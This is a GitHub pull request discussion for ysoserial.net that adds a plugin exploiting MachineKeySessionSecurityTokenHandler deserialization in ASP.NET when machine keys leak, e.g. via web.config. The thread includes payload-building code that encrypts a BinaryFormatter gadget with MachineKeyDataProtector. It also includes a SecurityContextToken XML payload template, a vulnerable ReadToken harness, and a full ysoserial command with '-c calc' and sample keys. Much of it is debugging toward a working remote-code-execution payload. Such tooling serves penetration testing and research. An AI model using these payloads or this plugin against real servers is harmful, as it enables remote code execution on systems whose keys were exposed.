Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add MachineKeySessionSecurityTokenHandlerPlugin #172

Merged
merged 2 commits into from
Dec 23, 2024

Conversation

2308652512
Copy link
Contributor

The Ysoserial.net tool includes an exploit plugin for the SessionSecurityTokenHandler security issue. However, due to the fact that SessionSecurityTokenHandler employs DPAPI for encryption and decryption, it is often difficult to exploit in most cases.

Nevertheless, Microsoft's documentation on SessionSecurityTokenHandler mentions that for web scenarios requiring a similar security mechanism, one can use the MachineKeySessionSecurityTokenHandler. This class inherits from SessionSecurityTokenHandler and shares similar characteristics. The key difference is that MachineKeySessionSecurityTokenHandler utilizes MachineKey configuration information for encryption and decryption operations. Therefore, as long as the MachineKey configuration information can be obtained (for instance, through a web.config leak), it may be possible to exploit it, making it more susceptible to exploitation compared to SessionSecurityTokenHandler.

https://learn.microsoft.com/en-us/dotnet/api/system.identitymodel.services.tokens.machinekeysessionsecuritytokenhandler?view=netframework-4.8.1
图片

You can use code like the one below for testing:

            string payload = @"<SecurityContextToken xmlns='http://schemas.xmlsoap.org/ws/2005/02/sc'>
            	<Identifier xmlns='http://schemas.xmlsoap.org/ws/2005/02/sc'>
            		urn:unique-id:securitycontext:1
            	</Identifier>
            	<Cookie xmlns='http://schemas.microsoft.com/ws/2006/05/security'>payload</Cookie>
            </SecurityContextToken>";
            MachineKeySessionSecurityTokenHandler testrce = new MachineKeySessionSecurityTokenHandler();
            XmlReader tokenXML = XmlReader.Create(new StringReader(payload));
            testrce.ReadToken(tokenXML);

图片

After verifying the feasibility of this issue, I proceeded to generate the payload required for MachineKeySessionSecurityTokenHandler.ReadToken(). The format of this payload is similar to that generated by SessionSecurityTokenHandlerPlugin, with the only difference being in the node section of the XML data. MachineKeySessionSecurityTokenHandler relies on MachineKey configuration information for the encryption and decryption of the Cookie, which typically necessitates a complete web environment. However, I discovered a dependency on https://github.com/dmarlow/AspNetTicketBridge (which can be imported via NuGet) that allows for the generation of Cookies using the MachineKeyDataProtector.Protect() method. This requires the provision of information such as validationKey, decryptionKey, decryptionAlg, validationAlg, and purposes. Consequently, I developed this plugin to generate the payload required for MachineKeySessionSecurityTokenHandler.ReadToken().

图片

I have verified this plugin locally, and it functions correctly. However, it appears that my implementation has made significant changes to packages.config and ysoserial.csproj. There may be better implementation approaches available...

Copy link

@Copilot Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot reviewed 1 out of 3 changed files in this pull request and generated 2 suggestions.

Files not reviewed (2)
  • ysoserial/packages.config: Language not supported
  • ysoserial/ysoserial.csproj: Language not supported
Comments skipped due to low confidence (2)

ysoserial/Plugins/MachineKeySessionSecurityTokenHandlerPlugin.cs:24

  • The abbreviation 'PoC' should be expanded to 'Proof of Concept'.
* This PoC produces an error and may crash the application

ysoserial/Plugins/MachineKeySessionSecurityTokenHandlerPlugin.cs:93

  • [nitpick] The payload string has inconsistent indentation and should be corrected for better readability.
string payload = @"<SecurityContextToken xmlns='http://schemas.xmlsoap.org/ws/2005/02/sc'>

Tip: Leave feedback on Copilot's review comments with the 👎 and 👍 buttons to help improve review quality. Learn more


byte[] serializedData = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
DeflateCookieTransform myDeflateCookieTransform = new DeflateCookieTransform();
MachineKeyDataProtector Protector = new MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);
Copy link
Preview

Copilot AI Dec 2, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The variables validationKey, decryptionKey, decryptionAlg, and validationAlg should be validated to ensure they are not empty or invalid before being used.

Suggested change
MachineKeyDataProtector Protector = new MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);
if (string.IsNullOrEmpty(validationKey) || string.IsNullOrEmpty(decryptionKey) || string.IsNullOrEmpty(decryptionAlg) || string.IsNullOrEmpty(validationAlg))
{
throw new ArgumentException("ValidationKey, DecryptionKey, DecryptionAlg, and ValidationAlg must not be empty.");
}
MachineKeyDataProtector Protector = new MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);

Copilot is powered by AI, so mistakes are possible. Review output carefully before use.

Positive Feedback
Negative Feedback

Provide additional feedback

Please help us improve GitHub Copilot by sharing more details about this comment.

Please select one or more of the options
/**
* Author: L@2uR1te (@2308652512)
*
* Comments:
Copy link
Preview

Copilot AI Dec 2, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The word 'Comments:' should be 'Comment:'.

Suggested change
* Comments:
* Comment:

Copilot is powered by AI, so mistakes are possible. Review output carefully before use.

Positive Feedback
Negative Feedback

Provide additional feedback

Please help us improve GitHub Copilot by sharing more details about this comment.

Please select one or more of the options
@irsdl
Copy link
Collaborator

irsdl commented Dec 2, 2024

I am not sure about some of the libraries inserted in the packages especially as it seems they are from .NET (core). I will have to review it properly thought by downloading and running it to see what we are trying to achieve here and whether we can simplify it.

@2308652512
Copy link
Contributor Author

I am not sure about some of the libraries inserted in the packages especially as it seems they are from .NET (core). I will have to review it properly thought by downloading and running it to see what we are trying to achieve here and whether we can simplify it.

Yes, I have also noticed this issue. Let me elaborate on this plugin to assist you in simplifying its implementation. As you can see, the most critical lines of code are actually these two:

MachineKeyDataProtector Protector = new MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);
byte[] encryptedEncoded = Protector.Protect(deflateEncoded);

These two lines of code are used for encrypting serialized data, and I implemented them to achieve the functionality of the following method:
MachineKeyTransform.Encode()

图片

Tracing the execution flow of the aforementioned method will ultimately lead to:
System.Web.Security.Cryptography.NetFXCryptoService.Protect()
图片

The core logic of the encryption resides within this method. I have previously attempted to implement this method independently, and there are several key pieces of logic involved, such as:
SymmetricAlgorithm encryptionAlgorithm = this._cryptoAlgorithmFactory.GetEncryptionAlgorithm()

In fact, the method that is called is:
MachineKeyCryptoAlgorithmFactory.GetEncryptionAlgorithm()

This method executes the corresponding delegate based on the provided encryptionAlgorithm information (for example, AES). In the case of AES, it ultimately invokes the AesCryptoServiceProvider() method.

In summary, if we isolate NetFXCryptoService.Protect(), it can still be implemented quite effectively. However, after completing my implementation, I discovered that decryption resulted in errors, likely due to missing certain information (I suspect it might be the "purpose"), or there could be other critical pieces of information that I did not configure throughout the process. Consequently, I found the AspNetTicketBridge dependency, which contains a properly implemented Protect() method that can be directly invoked to achieve the desired functionality.

If you are interested in this process, you can run the following code in a web environment:

DeflateCookieTransform myDeflateCookieTransform = new DeflateCookieTransform();
            MachineKeyTransform Protector = new MachineKeyTransform();

byte[] DeflateEncode =  myDeflateCookieTransform.Encode(serializedData);
byte[] encryptedEncode = Protector.Encode(DeflateEncode);

Then set a breakpoint in the Protect() function, which should allow you to see the complete call stack and flow. Similarly, setting a breakpoint in the Unprotect() function will enable you to observe the decryption process.

@irsdl
Copy link
Collaborator

irsdl commented Dec 12, 2024

Hey @2308652512, I am very sorry for the delay on this. I will have a look at this in the coming week.

@2308652512
Copy link
Contributor Author

Hey @2308652512, I am very sorry for the delay on this. I will have a look at this in the coming week.

No problem at all! Please feel free to focus on your tasks. I hope this imperfect little plugin won't cause you any inconvenience. :)

@irsdl
Copy link
Collaborator

irsdl commented Dec 19, 2024

Hi all, just straight out of the box I cannot build https://github.com/2308652512/ysoserial.net/tree/ysoserial.net_addMachinePlugin in VS 2022. I think I need to fix the packages and add the plugin manually to see what's needed there.

@irsdl
Copy link
Collaborator

irsdl commented Dec 19, 2024

I think the best solution is to merge this inside the SessionSecurityTokenHandlerPlugin plugin. So when a new argument to use the current machine key is not use, it will look for validationKey, decryptionKey, validationAlg, and decryptionAlg. I am not 100% sure whether the implementation changes between .NET Framework versions (for the ViewState this is the case).

I am thinking about what I have done in the ViewState plugin to perhaps be able to perform the encryption accordingly instead of using the AspNetTicketBridge library. The reason I would like to avoid AspNetTicketBridge is that it is a bridge between .NET Framework and .Net Core which will bring in many .NET Core libraries in a project which has been compiled for a .NET Framework application.

I am still not sure how easy it will be but I think this is a better approach.

@irsdl
Copy link
Collaborator

irsdl commented Dec 20, 2024

@2308652512 I have created a new fork branch to implement what you have in the plugin: https://github.com/irsdl/ysoserial.net/tree/SessionSecurityTokenHandler_Update
It basically adds 2 class files which are needed and implemented by https://github.com/dmarlow/AspNetTicketBridge, and then the original plugin has been updated to support the new feature.
Here are the changes: irsdl@a682191

However, when I use a command to generate an XML for a test website with known Machine Key params, it does not work and it shows the following error:

Exception: ID1073: A CryptographicException occurred when attempting to decrypt the cookie using the ProtectedData API (see inner exception for details). If you are using IIS 7.5, this could be due to the loadUserProfile setting on the Application Pool being set to false. 
Stack Trace:    at System.IdentityModel.ProtectedDataCookieTransform.Decode(Byte[] encoded)
   at System.IdentityModel.Tokens.SessionSecurityTokenHandler.ApplyTransforms(Byte[] cookie, Boolean outbound)
   at System.IdentityModel.Tokens.SessionSecurityTokenHandler.ReadToken(XmlReader reader, SecurityTokenResolver tokenResolver)
   at System.IdentityModel.Tokens.SessionSecurityTokenHandler.ReadToken(XmlReader reader)
   at ASP.a_aspx.__Render__control1(HtmlTextWriter __w, Control parameterContainer) in c:\wwwdata\MachineKey\a.aspx:line 41

--- Inner Exception ---
Exception: The data is invalid.

Stack Trace:    at System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope scope)
   at System.IdentityModel.ProtectedDataCookieTransform.Decode(Byte[] encoded)

As you had made this working, could you please have a look to see what's going wrong here?

@2308652512
Copy link
Contributor Author

@2308652512 I have created a new fork branch to implement what you have in the plugin: https://github.com/irsdl/ysoserial.net/tree/SessionSecurityTokenHandler_Update It basically adds 2 class files which are needed and implemented by https://github.com/dmarlow/AspNetTicketBridge, and then the original plugin has been updated to support the new feature. Here are the changes: irsdl@a682191

However, when I use a command to generate an XML for a test website with known Machine Key params, it does not work and it shows the following error:

Exception: ID1073: A CryptographicException occurred when attempting to decrypt the cookie using the ProtectedData API (see inner exception for details). If you are using IIS 7.5, this could be due to the loadUserProfile setting on the Application Pool being set to false. 
Stack Trace:    at System.IdentityModel.ProtectedDataCookieTransform.Decode(Byte[] encoded)
   at System.IdentityModel.Tokens.SessionSecurityTokenHandler.ApplyTransforms(Byte[] cookie, Boolean outbound)
   at System.IdentityModel.Tokens.SessionSecurityTokenHandler.ReadToken(XmlReader reader, SecurityTokenResolver tokenResolver)
   at System.IdentityModel.Tokens.SessionSecurityTokenHandler.ReadToken(XmlReader reader)
   at ASP.a_aspx.__Render__control1(HtmlTextWriter __w, Control parameterContainer) in c:\wwwdata\MachineKey\a.aspx:line 41

--- Inner Exception ---
Exception: The data is invalid.

Stack Trace:    at System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope scope)
   at System.IdentityModel.ProtectedDataCookieTransform.Decode(Byte[] encoded)

As you had made this working, could you please have a look to see what's going wrong here?

I have audited your code, and I believe I have identified the issue. Firstly, the content of the MachineKeyHelper class is nearly identical to the MachineKey class and MachineKeyDataProtector class found in the AspNetTicketBridge dependency. Therefore, it is highly likely that the problem does not lie within the implementation logic of the MachineKeyHelper class, but rather that there are some erroneous practices in the generation of the payload. Consequently, I will attempt to investigate the implementation of the SessionSecurityTokenHandlerPlugin class.

图片

The following code segment is relatively straightforward to analyze. When the user enables the -ucmk mode, it corresponds to the original generation logic of the SessionSecurityTokenHandlerPlugin. Here, the Encode() method is called once for encryption:

ProtectedDataCookieTransform().Encode(deflateEncoded);

Then, the encrypted data is Base64 encoded:

payload = String.Format(payload, Convert.ToBase64String(encryptedEncoded));

Therefore, this part of the logic is sound; the issue lies in the subsequent logic that has been added:
图片

When the user enters the following else branch, the following code will be executed:

string[] purposes = { "System.IdentityModel.Services.MachineKeyTransform" };
var Protector = new MachineKeyHelper.MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);
encryptedEncoded = Protector.Protect(deflateEncoded);
payload = String.Format(payload, Convert.ToBase64String(encryptedEncoded));

At this point, the payload generation has actually been completed. However, after the user exits this branch, the following line is executed again:
payload = String.Format(payload, Convert.ToBase64String(encryptedEncoded));
图片

This means that Base64 encoding is effectively performed twice, which clearly results in an invalid payload that cannot be processed correctly.

Therefore, I made the following modifications:
图片

if (useCurrentMachineKey)
{
    ProtectedDataCookieTransform myProtectedDataCookieTransform = new ProtectedDataCookieTransform();
    encryptedEncoded = myProtectedDataCookieTransform.Encode(deflateEncoded);
}
else
{
    string[] purposes = { "System.IdentityModel.Services.MachineKeyTransform" };
    var Protector = new MachineKeyHelper.MachineKeyDataProtector(validationKey, decryptionKey, decryptionAlg, validationAlg, purposes);
    encryptedEncoded = Protector.Protect(deflateEncoded);
    //Redundant calls to ToBase64String()
    //payload = String.Format(payload, Convert.ToBase64String(encryptedEncoded));
}

payload = String.Format(payload, Convert.ToBase64String(encryptedEncoded));

The generated payload is now usable, and I believe we have successfully resolved this issue.
图片

@irsdl
Copy link
Collaborator

irsdl commented Dec 20, 2024

Thanks @2308652512 , nice catch, I have updated the code. Indeed the copy/paste went wrong there.
However, it still does not work on my IIS app. I have some fixed keys in web.config (web.config.txt) so it should be fine but it still does not show me the error I am interested in.

image

I have also attached the file I used (I like that you also used the name a.aspx - my hard drive is full of these random a and b files sometimes with numbers :') )

a.aspx.txt

The command I used was:

.\ysoserial.exe -p SessionSecurityTokenHandler -c "calc"  --decryptionalg="AES"  --decryptionkey="A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0C1D2E3F4" --validationalg="SHA1" --validationkey="F1E2D3C4B5A697887766554433221100FFEEDDCCBBAA99887766554433221100FFEEDDCCBBAA99887766554433221100FFEEDDCCBBAA99887766554433221100" 

If you can't see any obvious issue here, then I will need to debug it which may take some time :'(

BTW, the attached version.aspx file version.aspx.txt show me 4.8 or later, and the AppPool has some default values:
image

@2308652512
Copy link
Contributor Author

Thanks @2308652512 , nice catch, I have updated the code. Indeed the copy/paste went wrong there. However, it still does not work on my IIS app. I have some fixed keys in web.config (web.config.txt) so it should be fine but it still does not show me the error I am interested in.

image

I have also attached the file I used (I like that you also used the name a.aspx - my hard drive is full of these random a and b files sometimes with numbers :') )

a.aspx.txt

The command I used was:

.\ysoserial.exe -p SessionSecurityTokenHandler -c "calc"  --decryptionalg="AES"  --decryptionkey="A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0C1D2E3F4" --validationalg="SHA1" --validationkey="F1E2D3C4B5A697887766554433221100FFEEDDCCBBAA99887766554433221100FFEEDDCCBBAA99887766554433221100FFEEDDCCBBAA99887766554433221100" 

If you can't see any obvious issue here, then I will need to debug it which may take some time :'(

BTW, the attached version.aspx file version.aspx.txt show me 4.8 or later, and the AppPool has some default values: image

I believe I have identified the root cause of the issue. The problem lies in the -validationalg="SHA1" parameter provided to ysoserial.exe. I noticed that you modified its default value to HMACSHA256:
9dcf8a52316e4bdbf7c4206ff226419

static string validationAlg = "HMACSHA256";

I also noticed that the value you provided is actually SHA1, which does not seem to be an expected input. Therefore, when you specify SHA1, it might still default to HMACSHA256? This is inconsistent with the configuration in the web.config file. Consequently, the appropriate approach should be to pass HMACSHA1, specifically as follows:

ysoserial.exe -p SessionSecurityTokenHandler -c "calc" -decryptionalg="AES" -decryptionkey="A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0C1D2E3F4" -validationalg="HMACSHA1" -validationkey="F1E2D3C4B5A697887766554433221100FFEEDDCCBBAA99887766554433221100FFEEDDCCBBAA99887766554433221100FFEEDDCCBBAA99887766554433221100"

I have made every effort to replicate your IIS environment, and I have also replaced the web.config with an identical version to yours. Now, I can successfully reproduce the issue.

图片

@2308652512
Copy link
Contributor Author

Wait a minute, something seems off. I think I may have misanalyzed the . @irsdl Is it possible that MachineKeyHelper supports both SHA1 and HMACSHA1 simultaneously, yielding different results? However, it appears that it indeed expects HMACSHA1 rather than SHA1. If this still doesn't resolve your issue, I can provide details about my environment.

@irsdl
Copy link
Collaborator

irsdl commented Dec 20, 2024

@2308652512
I have tried both SHA1 & HMACSHA1 when creating a payload with no success.
I might be confused here but the System.Security.Cryptography.ProtectedData.Unprotect method use DPAPI which won't use the Machine Key; how are we forcing the SessionSecurityTokenHandler class to use the Machine Key rather than DPAPI?
I can also see that it uses the System.IdentityModel.ProtectedDataCookieTransform purpose there which is not used by the generator code.
I would like to see your setup to see how you are achieving this when the generator is on box A and you are targeting an application on box B knowing the machine key (I might be wrong, but I think SessionSecurityTokenHandler uses current user's env rather than the machine by default).

@2308652512
Copy link
Contributor Author

@2308652512 I have tried both SHA1 & HMACSHA1 when creating a payload with no success. I might be confused here but the System.Security.Cryptography.ProtectedData.Unprotect method use DPAPI which won't use the Machine Key; how are we forcing the SessionSecurityTokenHandler class to use the Machine Key rather than DPAPI? I can also see that it uses the System.IdentityModel.ProtectedDataCookieTransform purpose there which is not used by the generator code. I would like to see your setup to see how you are achieving this when the generator is on box A and you are targeting an application on box B knowing the machine key (I might be wrong, but I think SessionSecurityTokenHandler uses current user's env rather than the machine by default).

I carefully reviewed the implementation of your a.aspx, and it seems I've identified a difference between our approaches. In fact, we must utilize the following method:

MachineKeySessionSecurityTokenHandler().ReadToken();

to achieve deserialization. Here, I am providing my a.aspx code for you to try and see if it works successfully.

a.aspx.txt

@2308652512
Copy link
Contributor Author

@irsdl I believe that the encryption and decryption operations using MachineKey configuration information will only occur when the developer processes data with MachineKeySessionSecurityTokenHandler().ReadToken(). If SessionSecurityTokenHandler().ReadToken() is used, then DPAPI will be employed for encryption and decryption. Of course, my understanding might not be entirely accurate, as I only recently learned about the security issues related to SessionSecurityTokenHandler. :(

@irsdl
Copy link
Collaborator

irsdl commented Dec 20, 2024

@2308652512 I think you are absolutely right here. This means the other mistake I made was to not get the same test that you had in the code. Last night I had wrongly assumed they are both from the same DLL despite reading your notes. These totally different DLLs and System.IdentityModel.Services.dll as you had mentioned originally. Sorry about my confusion. I need to totally revise this now.

@irsdl
Copy link
Collaborator

irsdl commented Dec 20, 2024

@pwntester Could you please approve my review comments so @2308652512 can also see them?

@2308652512 I have added some comments for the changes to your code so it can be tested and approved. I think you can have it as a separate plugin given it uses a completely different namespace/class for exploitation. Thanks for your patience and sorry again for all the confusions.

Copy link
Collaborator

@irsdl irsdl left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we should be able to approve this after these changes are applied. The main issue here are the imports from .NET Core. We don't need any import other than perhaps System.IdentityModel.Services.dll

{"t|test", "In this scenario, the test mode should not be applied, as the sink point relies on the web environment. Default: false", v => test = v != null },
{"minify", "Whether to minify the payloads where applicable (experimental). Default: false", v => minify = v != null },
{"ust|usesimpletype", "This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true", v => useSimpleType = v != null },
{"vk|validationKey=", "Enter the validationKey from the web.config", v => validationKey = v },
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use lowercase parameters such as validationkey in the input parameters to remain compatible with the ViewState plugin.

{"minify", "Whether to minify the payloads where applicable (experimental). Default: false", v => minify = v != null },
{"ust|usesimpletype", "This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true", v => useSimpleType = v != null },
{"vk|validationKey=", "Enter the validationKey from the web.config", v => validationKey = v },
{"ek|decryptionKey=", "Enter the decryptionKey from the web.config", v => decryptionKey = v },
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use lowercase

{"ust|usesimpletype", "This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true", v => useSimpleType = v != null },
{"vk|validationKey=", "Enter the validationKey from the web.config", v => validationKey = v },
{"ek|decryptionKey=", "Enter the decryptionKey from the web.config", v => decryptionKey = v },
{"va|validationAlg=", "Enter the validation from the web.config. Default: HMACSHA1. e.g: HMACSHA1/HMACSHA256/HMACSHA384/HMACSHA512", v => validationAlg = v },
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use lowercase

{"vk|validationKey=", "Enter the validationKey from the web.config", v => validationKey = v },
{"ek|decryptionKey=", "Enter the decryptionKey from the web.config", v => decryptionKey = v },
{"va|validationAlg=", "Enter the validation from the web.config. Default: HMACSHA1. e.g: HMACSHA1/HMACSHA256/HMACSHA384/HMACSHA512", v => validationAlg = v },
{"da|decryptionAlg=", "Enter the validation from the web.config. Default: AES. e.g: AES/DES/3DES", v => decryptionAlg = v }
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use lowercase

using System.IdentityModel.Tokens;
using ysoserial.Helpers;
using System.IdentityModel.Services.Tokens;
using AspNetTicketBridge;
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Instead of using AspNetTicketBridge which requires lots of .NET Core dependencies, use https://raw.githubusercontent.com/irsdl/ysoserial.net/refs/heads/SessionSecurityTokenHandler_Update/ysoserial/Helpers/MachineKeyHelper.cs and add it to your project and use it. All imported dependencies should be removed as well (perhaps you want to apply all changes on a clean ysoserial.net code as there are many imports).

Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
System.Environment.Exit(-1);
}

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please add some validations to ensure the required parameter such as validationkey are not null or empty.

try
{
//In this scenario, the test mode should not be applied, as the sink point relies on the web environment.
//Please run the following code in a web environment configured with a MachineKey for experimentation.
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Instead of adding comments here, consider printing out a message so users will know why -t wouldn't work. Or perhaps remove -t argument altogether and just keep the comments here to show how it can be triggered on the target box.

@@ -1,15 +1,40 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="AspNetTicketBridge" version="1.6.0" targetFramework="net472" />
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove all these imported libraries. Just add a reference for System.IdentityModel.Services

@@ -91,6 +91,9 @@
<Prefer32Bit>true</Prefer32Bit>
</PropertyGroup>
<ItemGroup>
<Reference Include="AspNetTicketBridge, Version=1.6.0.0, Culture=neutral, processorArchitecture=MSIL">
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hopefully after just having the System.IdentityModel.Services as the reference, we will not any changes for any other libraries here.

@2308652512
Copy link
Contributor Author

@2308652512 I think you are absolutely right here. This means the other mistake I made was to not get the same test that you had in the code. Last night I had wrongly assumed they are both from the same DLL despite reading your notes. These totally different DLLs and System.IdentityModel.Services.dll as you had mentioned originally. Sorry about my confusion. I need to totally revise this now.

@irsdl No problem, the discussion above has given me a deeper understanding of this vulnerability. :>

@2308652512
Copy link
Contributor Author

I think we should be able to approve this after these changes are applied. The main issue here are the imports from .NET Core. We don't need any import other than perhaps System.IdentityModel.Services.dll

@irsdl I have modified my code and reset the ysoserial.csproj and packages.config files. It no longer requires AspNetTicketBridge or any .NET Core code. The MachineKeySessionSecurityTokenHandlerPlugin now only depends on MachineKeyHelper to generate the payload.

Additionally, I have adjusted the parameter format for the MachineKeySessionSecurityTokenHandlerPlugin as per your suggestions, such as changing validationKey to validationkey, and I have also implemented checks for the validity of these parameters.

Finally, I have updated the functionality for the test mode. Now, when users use the -t parameter, they will see a prompt message.

I’m not sure if there’s anything I might have overlooked, so please review my code again.

@irsdl
Copy link
Collaborator

irsdl commented Dec 23, 2024

Thanks, it works for me. I am going to approve this. The only thing needs changing which I can do myself is to replace with SHA1 with HMACSHA1 when users are providing it, and also to see if changes applied to NDesk.Options are ok.

@irsdl irsdl merged commit 5b6460b into pwntester:master Dec 23, 2024
1 check failed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants